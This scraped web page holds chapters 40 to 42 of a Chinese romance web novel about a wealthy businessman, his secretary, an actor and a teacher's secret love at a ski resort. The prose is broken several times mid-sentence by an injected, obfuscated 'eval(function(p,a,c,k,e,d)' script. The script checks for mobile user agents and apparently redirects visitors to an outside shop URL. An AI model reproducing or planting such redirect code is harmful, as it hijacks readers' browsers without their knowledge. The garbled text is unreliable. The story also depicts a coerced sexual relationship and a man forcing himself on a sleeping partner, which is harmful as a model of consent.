曾闰霞开始还粘着他们跑上跑下,傅廷恩给她拿了个小铲车,用滑板推着她从坡道上滑下来,李芷玉拿手机给他们拍照。 她懒得换装备,也拉个蓝色小铲车,让别人的男朋友服务肯定是不太合适,她看一眼江永安,后者完全没有这个自觉,自顾自的滑着双板从坡上冲下来,然后原地腾挪跳跃,练得不亦乐乎。 “丑死了!还是廷恩哥比较帅!”李芷玉自来熟的跟着曾闰霞叫“廷恩哥”,对她的相亲对象却是满脸嫌弃。她冲他做了个鬼脸,然后转头去看傅廷恩从坡顶一个后刃落叶飘滑下来,利落的跳下板,再抱起滑雪板,牵着他女朋友的小铲车走上坡顶。 他玩的是单板,鞋底软,走路更方便。单板的束缚性没有那么多,滑雪服颜色也更多样好看,至少傅廷恩一身荧光绿就比江永安的白底红条更顺眼。 江永安听到李芷玉的嘲讽,相当不服气,“你去数数这边雪场几个滑单板的?”又冲傅廷恩喊道:“我说你怎么带单板的装备哪,跑这耍帅来了是吧?等着,明天我们去大方丘较量一下。”果然是个幼稚鬼! 两个女生实在低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528954|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估了男生在运动这一块的无限精力与体力,曾闰霞首先喊累,李芷玉赶紧陪她回去四楼烤火休息。 “廷恩,我们也进去吧,今天好好休整,明天选条人少的雪道,咱哥俩好好练练。”整个雪场一共建设了108条雪道,54条缆车,足够滑雪爱好者玩个过瘾。 “你先进去吧,我合合板,好久没滑了。”傅廷恩踩着个单板,原地练习着各种动作和技巧。 江永安知道他是想等曾闰成,结果曾闰成没等到,等来了一堆人簇拥着的神秘贵宾。 小木屋的这个坡度出去的时候需要雪地车来接,回来倒是可以直接滑到木屋门口,两抹穿着黑色滑雪服的身影出现在坡顶,两人姿势优美,齐驱并进。身形特别高大的那一位不用说,自然是李景麟,而另一位的护目镜推上去,竟然不是曾闰成。 等他取下头盔,露出一张眉目精致的脸,傅廷恩和江永安立刻认出来是宋奕。 宋奕现下的名气在华国说得上是家喻户晓了,他近年几部片子都叫好叫座,成功挤进了一线行列。 他跟李景麟的绯闻,江永安当八卦跟傅廷恩讲过,没想到还能亲眼看到两人一块滑雪归来,还穿着情侣款的滑雪服,真是一点都不避讳哈。 两人身后跟着几个嗖嗖的身影,减速滑过避让在一旁的傅廷恩和江永安,直接滑进了basement换鞋的区域,头盔取下,几个或金或红的卷曲发顶露了出来,用法语大声跟李景麟谈笑着。 “靠!”江永安捅捅傅廷恩示意他看,那个宋奕先脱了自己的雪靴,竟然当着这几个人的面,蹲下去给李景麟脱靴子。双板的雪靴比较硬,穿脱都很有点费力气。 “这么放得下身段,难怪资源这么好,看来传言不虚嘛。”江永安啧啧的感叹着。 “什么传言?”傅廷恩一向不太留心娱乐圈的消息,听过的八卦过耳就忘。 “上次不跟你说了嘛,都说他是李叔捧红的,他现在自己工作室挂靠的公司也在君临集团名下。”江永安眯着眼睛去瞅他,“很一般嘛,没有电视上好看。” 一群人也没人搭理躲在门外树林里嘀嘀咕咕的两个小伙子,谈笑着径直上楼去了。 “闰成呢?”傅廷恩皱紧眉头。 “他是初学者,怎么可能跟他们这些高手一块,”江永安猜度着,“应该是上私教去了吧。” 果然,又等了一个多小时,才等到两个身影一前一后缓慢的从坡上滑下来,前面穿一身宝石蓝色滑雪服的一看就是新手,拄着雪杖,身姿缓慢。 而后面穿红色滑雪服的是位女士,显然是在迁就前面的人。她先取下头盔,是苏秘书。 江永安迎上去扶着她,“苏姐,难得看你这么打扮,真好看!”苏秘书比李景麟应该小不了几岁,但江永安一直叫李景麟叫叔,称苏秘书为姐。 傅廷恩早跟着曾闰成进了地下室,曾闰成把头盔取下,是一贯温文的浅笑,“廷恩。”但两个人视线一交汇,都有些不自然的别过脸去。 傅廷恩本来就穿的软底鞋,搁下滑板,很自然的蹲下身去,半跪着帮曾闰成脱鞋子,跟在后面的江永安简直看得心抽抽,他们刚还在吐槽宋奕,这会自个就舔上了。他总有种锅盖要掀翻的感觉。 果然,苏秘书看到这一幕也明显的愣了一下,走过去慢条斯理的开始换鞋,“你们先回房间吧,晚点我去房间找你们。” 江永安拽着傅廷恩回了自己房间,“小祖宗,我的亲哥,你这是要干嘛呀?收着点行不行?” 他在房间里来回的踱步,又趴在傅廷恩耳朵边,“你这眼神真的一看就不对劲,别说李叔了,我估计小霞都能看出来。你是想上演狗血伦理大剧吗?正好有个会演的在。” 傅廷恩叹口气,蜷曲着手指遮住眼睛,“我……我控制不住我自己。”他攥着拳头轻捶了一下胸口,“这里堵得慌。我一看他的样子,就知道他不开心……” “肯定啊,真不知道李叔怎么想的,还把宋奕带上了,”江永安跟着愤愤不平,“杂志还写他是端水大师呢,真是有失水准。” 40.第 40 章 李景麟这么做,当然有自己的考量。他提出在柏林分公司的入职建议后,曾闰成始终没有给出正面答复。苏秘书向他汇报,给曾闰成开在瑞士银行的账户,除了每月按时汇入的款项,没有任何提取记录,她登陆过,连密码都没有修改。 李景麟突然迟钝的发觉,他原本极为笃定的一件的事情似乎并没有按照他所期待的方向发展。宋奕的要求提得恰逢其时。 从宋奕登上飞机那一刻开始,李景麟便在观察曾闰成的反应。他无疑是不高兴的,但也没有很强烈的抗拒。这一路来,他数次故意的亲近宋奕而冷落曾闰成,换来的只是漠视。甚至他和宋奕穿情侣款的滑雪服,他也毫不在意,连一句质问也没有,这让李景麟感到一丝焦躁。 整个五楼都属于主卧的范畴,配备有专门的书房、健身房、影音室。沐浴也分为室内淋浴室和面对山巅雪景的木桶浴房。房间一端并排摆着两张一米八的大床,风格迥异,满足客人的不同需求。 李景麟冲了个澡,换了衣服,在最靠外边的书房见了苏秘书。“学得怎么样?”他点燃了一只雪茄,“摔跤了吗?” 苏秘书在李景麟身边屹立多年不倒是有原因的,老板用闲聊的口吻问这种小事情,她也当成工作一本正经的回答:“八个雪时基本掌握了直立行走,犁式刹车,在初级雪道练习基本没有太大问题。摔了两次,都是轻微磕碰,两个教练反应很快。” 烟雾在李景麟的嘴角弥漫,苏秘书端过一旁的普洱茶给他润喉。“他有问你宋奕的事吗?”静默了半晌,李景麟低声道。 “没有。您知道的,他跟我交流一向不多。”苏秘书恭谨的回答,不敢说是曾闰成单方面拒绝跟她私交过多。 其实以苏秘书在李景麟身边多年的分量,又是秘书团首席担纲,就连宋奕都对她十分客气,苏姐前苏姐后,更别说以往那些昙花一现的角色。 唯有曾闰成,这么多年了,她自认也算鞍前马后伺候周到,但他永远是“苏秘书”。 可反倒因为这样,她私底下其实没少提点他,有时候老板独断专行下的命令,她也自愿背锅在身上。只是人家并不领情就是了。 她看着李景麟拧起的长眉,想了想,还是没有把傅廷恩给曾闰成脱鞋这件事情拿出来讲,虽然她私心里觉得傅廷恩这行为有点过分殷勤,而且殷勤得很自然。更重要是曾闰成的态度,他安静的坐着,眼神落在傅廷恩的发顶,肢体语言明白的表现出,他并不抗拒他的碰触。 但这事只要讲了,估计老板的心情会雪上加霜,滑雪运动量颇大,还是安心吃个饭先吧。 李景麟似乎知道,苏秘书在跟曾闰成的接触中是受委屈的一方,敲了敲桌子,“回头你给傅家和江家两小子送张卡去,让他们这两天先带两小姑娘到处逛逛,所有消费都记卡上。苏茜,你也一块去,给自己添几样新年礼物。闰成那里不用管他,有两个教练在摔不伤他。”苏秘书答应下来。 门外传来轻轻的叩门声,得到首肯,李芷玉走进来,“李叔叔,厨师开始上菜了,隔壁栋的客人也过来了,他们请您下去。” 李芷玉算是李家的旁支近亲,大学毕业后不想继续深造,一心要在君临立足,李景麟让她跟着苏秘书历练。 “见过你的相亲对象了?”李家和江家一直有姻亲,各种拐弯抹角的关系促成了李芷玉和江永安的这次见面。 李芷玉脑袋摇得拨浪鼓一样,“看不上看不上,幼稚又没风度,人家傅廷恩对女朋友多好,他这个对比太明显。” 她是家里娇养大的,每年年底家族聚会都会跟李景麟见面,并不十分惧怕他,娇嗲嗲的跟李景麟细说傅廷恩对曾闰霞有多好,而江永安对她有多差。 苏秘书在一旁听得心头“咯噔”一响,李景麟要答谢傅廷恩和江永安的缘由她是知道的,傅廷恩对曾闰霞这么好……难道是因为…… 她出声打断小姑娘的喋喋不休,“老板,要不先下去用餐?客人该等急了。” 李景麟起身,将雪茄搁一旁,“放心,有宋奕在,急不了。” ———————————————————————— 四楼的超大客餐厅里灯火通明,欧式长餐桌旁,一行人正聊得热火朝天。 宋奕和托马斯算是旧相识,他和李景麟去比亚里茨冲浪不止一次,都是托马斯接待。 这次与托马斯同来的另一个朋友乔纳森是法国的知名导演,执导的影片获得过两次金熊一次金棕榈,是宋奕目前阶段很想结交的人物,今天一天滑雪下来,彼此都熟稔了不少,同在电影圈,自然有话题。 乔纳森带了他的爱犬过来,是一条杜宾,通体纯黑,看上去威风凛凛,但是很听话,温顺的蹲坐在主人身侧。 宋奕弯腰逗了逗它,它一脸不屑的瞄他一眼,转过头。乔纳森镜片后的蓝眼睛闪着愉悦的微光,“噢,抱歉,它只听得懂法语。它很喜欢美人的,尤其是Liam这样的大美人。” 乔纳森的恭维让宋奕露出了愉快的笑容,他法语不太熟练,英语穿插着法语,三人谈笑自如,他的经纪人在一旁斟茶倒水,排布水果甜点。 吧台前,两个日料大厨正不断的烹饪出各色新鲜菜式,源源不断的送上餐桌,却没人动一下。 李景麟走下楼梯,托马斯和乔纳森都站起身,热络的将他拉入聊天群。 宋奕原本坐在两个法国人中间,干脆起身坐到李景麟旁边去,一脸热切的看着他,用汉语问他,“今天累不累?” 又像突然醒悟过来自己不该这么没礼貌似的,用英语跟托马斯和乔纳森解释着什么,换来一阵调侃大笑。 苏秘书不动声色的寻找傅廷恩的身影,他正在给曾闰霞拍照片,少女端着鸡尾酒杯坐在壁炉旁边,不时变换姿势。而他时而俯身时而蹲下,细致的寻找角度,手里拿着一个专业相机。 江永安坐在一旁的吧台,百无聊赖的打着哈欠,把手机戳过来戳过去,嘴里嚷嚷着,“哎你们俩好了没有,这有什么好拍的……” 楼梯上传来一阵脚步声,李景麟转头,却是曾闰成刚洗了澡下来。屋外皑皑白雪,屋内却是温暖如春,他穿着一件米色毛衣,一条休闲长裤,头发半干,脸上是沐浴过后的清澈干净。 几人的目光投注在他身上,乔纳森用法语说了一句什么,宋奕微微变了面色。 曾闰成似乎没意识到自己成为了众人瞩目的焦点,一脸疲惫的走到餐桌边,举手say了声hi,然后随意的找了个位子坐下,又转身招呼还在摆pose的妹妹,“快过来吃饭啊,不饿吗?” 李景麟顺手指了指餐桌,众人便一齐动手,享用美食。屋角的留声机流淌着轻爵士乐,让祥和的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李景麟摆手拒绝,“野雪就算了,舒马赫现在还躺着哩,娱乐一下就算了,犯不着挑战极限。”车王舒马赫当年就是在高雪维尔滑野雪道,速度过快,头部撞到石头上,迄今昏迷不醒。 托马斯向他竖起大拇指:“还是Charlie有节制,冲浪滑雪都不会挑战高难度。你是对的。我前年冲浪被海水呛晕,昏迷了三个星期。”众人转而说起各自在运动场上的惊险瞬间。 宋奕在众人交谈的间隙里,举杯转向曾闰成,言笑晏晏的,“曾老师,今天学得怎么样?没有摔跤吧?我记得我十二岁那年第一次滑雪,膝盖都摔肿了,整整三天走不了路。”因为都在一张桌上,他是用英语讲的这段话。 之前托马斯、乔纳森和李景麟聊天都是说的法语,曾闰成听不太懂,也没有很认真听,乍一听宋奕发问,倒也没觉得有什么不对。 他只是没想到宋奕会主动向他敬酒,昨天在飞机上,包括后来在木屋会面宋奕都端着大明星的架子,只略略跟他点了个头。 他抬手跟他碰了一下杯,尝了一下杯中的葡萄酒,“嗯,还好,教练教得很认真。” 苏秘书将目光转向傅廷恩,果然,傅廷恩举杯跟江永安碰了一下,用玩笑的口吻流利的英语说道,“大明星第一次滑雪记这么清楚的吗?我不记得是七岁还是八岁。永安你呢?” 江永安很懂得接他的哏,“那哪里记得,很小吧,在加拿大那种大半年都在下雪的地方,滑雪简直是全民|运动。我看到一个五岁小孩就滑得很好了。” 苏秘书看着宋奕僵硬的嘴角,再看看专心美食无涉风雨的曾闰成,无声叹了口气。 41.第 41 章 第二天一大早,江永安还在被窝里好梦正酣的时候,傅廷恩已经滑着单板等在basement。 曾闰成果然是一个人先下来,傅廷恩很了解他,不管学什么,都是认真勤奋的态度。他蹲下去帮他换鞋,曾闰成有些不好意思的推拒,“廷恩,我自己来就好。” 傅廷恩难得不听话,帮他把鞋带系好又将鞋栓扣紧才起身说道:“闰成,你要不要考虑换单板?虽然入门比双板难一点,但是一个星期可以到中级水平,到时候我可以带你到高级道玩。” 曾闰成对滑雪其实没有什么浓厚的兴趣,只是李景麟给他安排了教练,他也就认真去学。 在高雪维尔的雪道上驰骋的基本都是双板,极少有滑单板的,毕竟技术熟练以后,双板确实更优雅,能够玩的花样也更多。 曾闰成倒是无所谓优雅不优雅,在他看来,玩么,开心就好,他看看傅廷恩脚下踩着的单板,以及随意转身的动作,感觉跟冲浪有类似之处。“好,我今天跟教练说。” “那你的鞋和板怎么办?”单双板的鞋和板都不一样。 “放心吧,教练会解决的。” “好,那你今天先凑合一下,我晚点到镇上给你买。”傅廷恩之前给他买过网球鞋,清楚他的尺码。 “不用了,廷恩……”曾闰成想拒绝,然而两个人目光交汇,傅廷恩眼里的如海深情让他再也开不了口。 他就知道,从他踏进丽萨酒店的那个房间起,两人之间就再也回不到之前那种轻描淡写的状态了。 他不想拖他下水,他却执意要跳进这泥潭。 两人愣愣的对视着,直到来接曾闰成的雪地车按了一下喇叭。傅廷恩如梦初醒,看曾闰成穿着双板的靴子,底太硬,只能脚跟着地,托他一把,将他送上雪地车,又忍不住跟着车走了几步细细叮嘱他,“小心点,别害怕摔跤,摔是难免的,姿势正确就不会摔伤。” 傅廷恩其实很不放心他一个人,但是他今天还有艰巨任务,只能目送他的身影坐着雪地车远去。 昨晚苏秘书找到他和江永安,递给他一张黑卡,“小镇上这些店铺随便刷,会有专人送回这里,不需要你们拎袋子,但是请二位务必保护两位女士的安全。我会跟你们一起。” 傅廷恩不接她的卡,“既然你会一起就你拿着吧。”他是不会去刷李景麟的卡的,但是即便没有李景麟的吩咐,陪伴保护曾闰霞也是他的责任。 等苏女士和两位小姐梳洗打扮完毕,已经是上午十点以后的事情。 江永安早就偷偷溜走,他才不要留下来伺候公主,这么多雪道,茫茫大雪山,随便一窜,人影子都找不着。 “兄弟,拜拜啦,请恕我不能陪你同甘共苦了,那娘们忒烦人。”江永安跟李芷玉实在是不对付,互相翻白眼的几率越来越频繁。 “滚吧滚吧。”傅廷恩挥挥手。他本身就怜惜曾闰霞,小小年纪就身患重病。而且这是闰成唯一的亲人了,虽然曾闰成从没有用言语表达过什么,但她的重要性简直不言而喻,他要替他照顾好她。 所以他是十二万分耐心的等着女士和小姐们从楼上下来,然后亲自开了雪地车,送她们去1850小镇shopping。 每到一家奢牌精品店,他都围着曾闰霞转,事实上也只有曾闰霞最需要他,苏秘书和李芷玉都是奢牌常客,试穿试戴试背毫无压力。曾闰霞则多少有点露怯,需要傅廷恩不断鼓励,然后又有点纠结,需要傅廷恩帮她拿主意。 “廷恩哥,你看这个包包好看吗?”曾闰霞拎起一只香奶奶家桃红色Le boy中号。 傅廷恩摇头,拿过旁边一只白色金链的山茶花woc,“那个造型成熟了一点,你的年龄更适合这个。你试背看看。” 曾闰霞将两只都分别背在身上试了试,“嗯,还是廷恩哥品位更好。” 傅廷恩便让店员给她包起来,苏秘书递过去卡,却被推了回来,“不用了,我给自己女朋友买东西,就不劳李总破费了。”他刷自己的卡买了单。 苏秘书顿了一下,曾闰霞带着羞涩和欢喜的笑意低下头,旁边的李芷玉和店员都是一脸羡慕的表情。 苏秘书觉得自己有必要点一点他,便趁曾闰霞去试衣间的功夫,对傅廷恩笑道,“傅少爷,我们老板说要感谢你帮忙照顾小霞,让你挑两样合心意的礼物,你有没有看中的包或者别的?不然,我可不好交差了。” 苏秘书的言下之意,你跟曾闰霞的真实关系我是清楚的,这种场合轮不到你来付钱。傅廷恩抬头看了她一眼,“不用了,我不缺。”他走到试衣间前去等试衣服的小霞,但接下来没有再抢着刷卡。 苏秘书越发留心,即使全程有人买单,傅廷恩会鼓励曾闰霞多试,却并不鼓励她多买,只选最适合她的两三样。有两次她听到傅廷恩用温和的语调说:“小霞,这个款你之前有类似的,不要买,你哥会不高兴的。” 他每次说出反对的意见,都会摸摸小姑娘的头或者点点她的鼻子,用温和亲热的态度,小姑娘自然是言听计从,只有苏秘书留意到他说的那句“你哥会不高兴”。 在Hermes专柜,她又一次走过去问傅廷恩:“傅少爷,真的不买个包或者皮带吗?虽然傅少爷不缺这个钱,但这也是我们老板的心意嘛。” “哼,”苏秘书疑心自己听到了一声冷笑,但傅廷恩又转过了头,“我心领了。” 虽然已经见过几次面,但是他跟苏秘书依然不熟络。苏秘书莫名觉得眼前这个男人跟曾闰成有点像,在不熟的人面前,总是表现得温和但疏离。 路过博格纳的专卖店,傅廷恩停下脚步,“你们先走,我去买点东西。”他打了声招呼进去了,盘桓了半个小时,但出来时手上空空,不过这些高奢专卖都提供送货服务,也不能确定他有没有买什么。 女生逛起精品店来精力体力往往爆表,连曾闰霞这种病患都不例外,傅廷恩一路陪伴,没有半点不耐烦,还不时观察曾闰霞脸色,生怕她累到。 逛完一大圈,他将她们带到山顶的餐酒吧,安排了一顿正宗的法餐,浓浓的海鲜汤搭配蜗牛和法式鹅肝,奶酪和甜点都是女生的最爱。 傅廷恩会将餐盘刀叉替她们再次消毒,东西送上来按各人点的分开摆放,餐后的饮品安排了咖啡和红茶。就连苏秘书都难得的体验了一把被男士周到服务的感觉。 李芷玉忍不住用羡慕的口吻打趣曾闰霞,“小霞,你男朋友真的好细心呀。”小姑娘羞涩的红了面颊。 如果不是事先李景麟有告知她,并让她准备礼物答谢,苏秘书都要怀疑傅廷恩是不是真的爱上了曾闰霞。然而越是感受到他的细致耐心,她越感到心惊。 如果不是出自真心,也不是为了借机讨好李景麟,那么真相就只剩下一个了。一个男人能为了另一个男人做到这个份上,需要多深的感情? 被白雪覆盖的山谷里,数十条缆车线路像是从天空放下来的绳梯,每个车厢都是由Gucci\Chanel等奢牌装饰,宽大舒适的同时无时无刻不在释放着金钱的信号。 四人乘坐着一个车厢,悬缀于空中,似乎彼此间的距离都拉近了些许,傅廷恩脖子上挂着一个相机,应美女们的要求给她们拍照。 李芷玉向他伸手,“给我吧,我给你俩也拍一个。”她这一路被狗粮塞饱的同时,也对曾闰霞深表艳羡,如果相亲对象换成傅廷恩这样的,那早一点结婚也未尝不可。哎,可惜啊…… 傅廷恩把相机递给她,很自觉的跟曾闰霞坐到一起,右手圈过她的肩膀,在她的脑袋边上比了个耶,看着是很亲密的姿势,但基本没有肢体的接触。 苏秘书在一旁看着,用不经意的口吻问道:“小霞和廷恩也认识很多年了吧?”用餐之后,她已经单方面把傅少爷变成了廷恩。 “嗯,四年多啦,”曾闰霞毫不设防,欢喜的回答,“那时候廷恩哥每个周末来找我哥补习数学,我经常做饭给他吃,他可喜欢吃我做的菜了……” 她甜甜的目光看向傅廷恩,傅廷恩回她一个微笑,李芷玉大喊着“别动”举起了相机。 晚些时候的ins上这张情侣对视的照片引发了大量的点赞和转发,白雪皑皑的背景,能看到身后有Gucci标志的缆车箱。穿着滑雪服的情侣,女孩抬头看着自己深爱的人,一脸甜蜜满足的笑容,男孩高大的身影半拥着她,深邃的眼眸回视着她,嘴角亦挂着宠溺的微笑。这种带着奢华背景的爱情最能吸引大众的关注。 苏秘书看着ins上的这张照片,开始往回查看这个账户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在他对曾闰成表达的“你我之间犹如两线平行永不相交”这番意思耿耿于怀的时候,曾闰霞的病理报告单摆到了他的办公桌前,苏秘书还记得他愉悦勾起的嘴角,“去,你去问问他,最顶级的医疗资源跟他换一个两线相交的机会,问他换还是不换?” 曾闰成是怎么入的局,没有人比苏秘书更清楚。 原本苏秘书也觉得不过又一段交易而已,可奇怪的是,李景麟对曾闰成的控制与在意并没有随着时间的推移变淡,反而有越发增长的趋势。她隐隐觉得她首秘的职业生涯只怕要迎来一场大麻烦。 尤其现在再搅进来一个傅廷恩,傅家可不是随手碾压的小门小户,关键两人纠葛还挺深,甚至早于这场交易开始之前。她敲了敲脑袋,首秘是不好当的,什么事情都要替老板想在前面。 傅廷恩的心思她基本能确定,就是不知道曾闰成是什么个想法? 这男人看着单纯,但有时也看不透他,至少她就没有看明白,他对自家老板到底有没有那份心思。 说没有吧,他一直很温顺。老板脾气不小,曾闰成偶尔有赌气的时候,像上次改他的用工合同,算是他难得给脸色看的一次,整体算得上逆来顺受,这几年也没出过什么幺蛾子。 可要说有吧,他看着总是淡淡的,完全没有以往那些人的要死要活,让她头疼该怎么打发。也没有那些牵肠挂肚的行为,电话打到她这询问行程去向。就连宋奕,都会时不时联络她,探听老板动向,曾闰成却是一次都没有过。这表现可以说是懂事,也可以说是不在意。 她是尽职尽责的打工人,决心要解开这个疑惑。第二天一早,苏秘书很早就开着门留意楼梯间的动静,听到熟悉的脚步声后,她穿了地板袜偷偷跟在后头。 透过basement的厚重木门与墙壁之间的缝隙,她看到曾闰成仍穿着宝石蓝色滑雪服,脚上却是一双崭新的深蓝色滑雪靴,手里抱着一块黑色飘雪花的单板,正低声说话,“……我昨天学会了前刃推坡,但换刃还不是很灵活。” 傅廷恩扶着他坐上雪地车,抬起头眼神凝视在他脸上,嘴角带着笑意,语气十分温存,“不要害怕,换刃就是找准时机,直板变横板的时候要及时换刃。” “嗯,我今天试试,单板确实比双板好玩。”曾闰成的表情同样柔和,且多了几分生动。 “我今天如果回得早就去看你滑,要一直待在初级道知道吗?” “嗯,知道了。廷恩,拜拜。” 她看到曾闰成在雪地车上向傅廷恩挥手说再见,眉梢眼角的笑容,让她的心一下子沉了下来。 尽管两人的对话没有任何暧昧可言,可那种轻松自然的氛围里透露出来的亲密与契合,经历过的人都懂。 42.第 42 章 这一晚四楼的起居室里,分为了旗帜鲜明的两个阵营。李景麟和托马斯、乔纳森、宋奕坐一块打德扑,宋奕的经纪人在一旁提供服务工作。 而曾闰成则和傅廷恩、江永安、李芷玉一块打纸牌,还带上了一个不太会,坐在一边学习的曾闰霞。 只有苏秘书戴着耳机在追剧,实际上耳返里一点声音都没有。她的视线不时扫过两个阵营的核心人物,留意着他们的一举一动。 李景麟的德扑技术一向很好,手风也很顺,但这种场合他一般都会控制,不会赢太多,更不可能输得很难看。今晚他下场的次数不多,大多数时候跟注,基本上是看宋奕和乔纳森表演。 乔纳森对宋奕明显是有一些想法的,镜片后的眼睛总是围着宋奕打转,他对东方面孔有偏好,获奖的几部片子里都有亚裔身影,据说最近在筹拍的一部,剧本是以亚裔为主角,宋奕当然也很感兴趣。两人言语、眼色间充满了试探和拉扯。 宋奕的眼神不时投注在李景麟脸上,似乎想看看他对这些拉扯在不在意。但他显然是失望的,从他入行之初,李景麟就跟他明确过彼此间的交换关系。 这个交换还不是指的钱色,作为一个庞大的金融财团,很多资金的变质与流向是需要一个媒介的。 李景麟扶持的并不止一个宋奕,但宋奕无疑是其中最出色的一个,他成功的借助君临集团的资源实现了个人的野心,也展现了自我的价值。 至于他跟李景麟的感情纠葛,那纯粹是附带。一个十八线小透明会爱上捧红他的金主,简直是再自然不过的事情。 李景麟对宋奕的才华其实也有几分欣赏,宋奕有新作上映的时候,他会吩咐苏秘书包场,有时间也会亲自去看,对他演技的提升也是不吝夸奖。 要按苏秘书的想法,李景麟如果能把对曾闰成的那点在意转移到宋奕身上,简直是皆大欢喜。 宋奕本身从长相到身段都不差曾闰成什么,才华也是有目共睹,能从十八线走到今天在娱乐圈的位置,除了资源,实力绝对不容小觑。毕竟机会给到位,也得有本事才抓得住。 何况宋奕赚钱的能力更是甩了曾闰成十八条街,不说自身的那些代言广告综艺,光是每年为君临集团创造的财富都是个可观的数字。 种种这些都还在其次,最重要是他对李景麟,真说得上是死心塌地。苏秘书作为旁观者,又拥有女性的敏锐直觉,宋奕这十多年的表现她算是看得明明白白,所以偶尔宋奕找她套点话打听一下老板的动向,只要能说的她都会说。 只可惜,李景麟站在金字塔的顶端,对他来说,没有适不适合,只有喜不喜欢。 她将目光转向另一桌,曾闰成和傅廷恩打一方,脸上光秃秃的,而江永安和李芷玉打一方,脸上粘满了便利贴小纸条。曾闰霞坐在一旁拍手笑。 “不行不行,得把这俩学数学的分开,这局不抓阄了啊,我跟曾老师组队,廷恩你带上这个傻瓜,”他指指李芷玉,“看她把你带飞!” 李芷玉跳起来,把脸上的便利贴撕下来揉成一团扔江永安头上,笑骂道,“你才傻瓜呢!自己打得菜还怨我!让闰成哥感受一下你的智障。” 她跟着曾闰霞喊,叫傅廷恩廷恩哥,叫曾闰成闰成哥,只有对江永安永远是各种代称:白眼王子、菜鸟、傻瓜…… 相比德扑那一桌的各种拉扯博弈,这一桌就是纯粹的热闹欢喜了。 除了出牌,曾闰成和傅廷恩几乎没有说什么话,甚至眼神的交流都不多,但是嘴角的弧度几乎如出一辙,纸牌在他们修长的手指间翻飞,偶尔的肢体碰触漾出的那种亲密感,令一贯冷心冷情的苏秘书都难以抑制的升起一种悸动。 四年多前呵,苏秘书回想起曾闰霞说的话,那时傅廷恩才十八岁,而曾闰成应该是二十四岁,刚到恒雅私高担任数学老师。 她还记得当时她接到李景麟的指示,亲自办理的曾闰成入职恒雅的相关手续,也算是她无意间牵起的一段缘分?而今,她却要思索,怎么才能在伤害最小的情况下,切断这段缘分呢? 两桌牌局都在夜深时告一段落,宋奕伸着懒腰站起身。客厅里暖气很足,他只穿了一件短款的小礼服,手臂向上伸起,露出一截雪白的细腰。就这么一个伸懒腰的动作,都带着点难言的魅惑,宋大明星的魅力值绝对过关。 “坐久了有点累哎,景麟,我在Goji Spa约了两个位置,要不要一起去?”他的声线暗哑,音量不大不小是大家都能听到的程度。 这趟出来李景麟没有带Tina,高雪维尔的各项设施都很齐全,滑雪作为容易肌肉拉伤和劳损的运动,不光各个酒店配备有星级按摩师上门提供服务,另有几家特色SPA供尊贵VIP选择。 这几天运动完其实都有及时放松拉伸,不然也不能一身轻松的坐在这里玩牌。 但是宋奕的邀约显然有更深一层的含义,他用称得上妩媚的眼神邀请着李景麟,唇角绽开一个满含暗示的笑容。 而李景麟也没有令他失望,薄情的丹凤眼在他的面庞和腰间微微一转,点点头,“好!” 苏秘书看向曾闰成,她确信他听到了这个对话,但是那张白净的面庞上毫无表情。反倒是傅廷恩看了他一眼,又将目光投向那相携离去的背影,明晃晃的表达着鄙夷与不屑。 苏秘书都有点被他弄迷糊,按道理他不是应该乐意看到宋奕和李景麟搅和在一起么?怎么反倒有点替曾闰成打抱不平似的。 她不能明白傅廷恩的心思。傅廷恩看到宋奕来勾|搭李景麟当然是乐意的,但是这么当着众人的面拖手离开,他又觉得他们伤了曾闰成的面子,典型的忠犬心理。 倒是李芷玉蹭到她身边来,犹疑着小声在她耳边说道,“苏姐,李叔叔跟宋老师的绯闻都是真的嘛?他不是和闰成哥住一块么……” 小姑娘对性取向没有什么接受不能,但显然对她李叔叔的开放作风还不够了解。 苏秘书有点意会到了傅廷恩的鄙夷,收起平板,“小姑娘家家的,不要管这么多。” ————————————————————————— 李景麟回到房间的时候,曾闰成已经在他的那张床上沉沉睡去,只留着李景麟这边的床头微光。 他在模糊的暗境里,感受到对面床上沉实的身体和微微的鼻息,对方确实是已经睡熟了,完全没有他想象中的辗转反侧、夜不能寐。 心头那点无名火瞬间就冒了起来,这几天白天运动量挺大,晚上都是在各自床上睡,他有几天没碰他了。 房间里暖意融融,背对着他的身影裹一层薄被,腰间露出一线盈润白皙的肌肤,在暗夜里闪着晶莹的光,刚被宋奕勾起来的邪火瞬间就有燎原之势,尤其是想到自己的推拒,再看看这个沉睡的背影,简直跟笑话似的。 他扯掉身上的衣服,抬步跨到对面床上,掀开那层薄被就贴了上去。 “……唔……你干什么……唔唔……”曾闰成在梦中被惊醒,还没来得及惊呼,就被一个霸道的吻堵住了嘴。 比他足足大了一圈的手掌三两下就扒掉了他身上的睡衣,两个人赤裸的紧贴在一起,他才稍稍抬起头让他喘口气,在他耳边低笑:“干|什么?当然是干|你!” 曾闰成伸出手臂使劲推他胸膛,“你这是没吃饱吗?”他的声音带着刚醒的含糊,听上去像撒娇又像吃醋。 这句话让李景麟受用了一点,“我没碰他。” 严格来说,这其实算撒谎,SPA VIP室里,宋奕被精油按摩得发亮的身体一直往他身上蹭,但李景麟是知道曾闰成的一些小脾气的,尽管被蹭得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏秘书看他想上去瞧瞧的样子,忙叫住他,“闰成说这几天累了,上午想休息一下。” 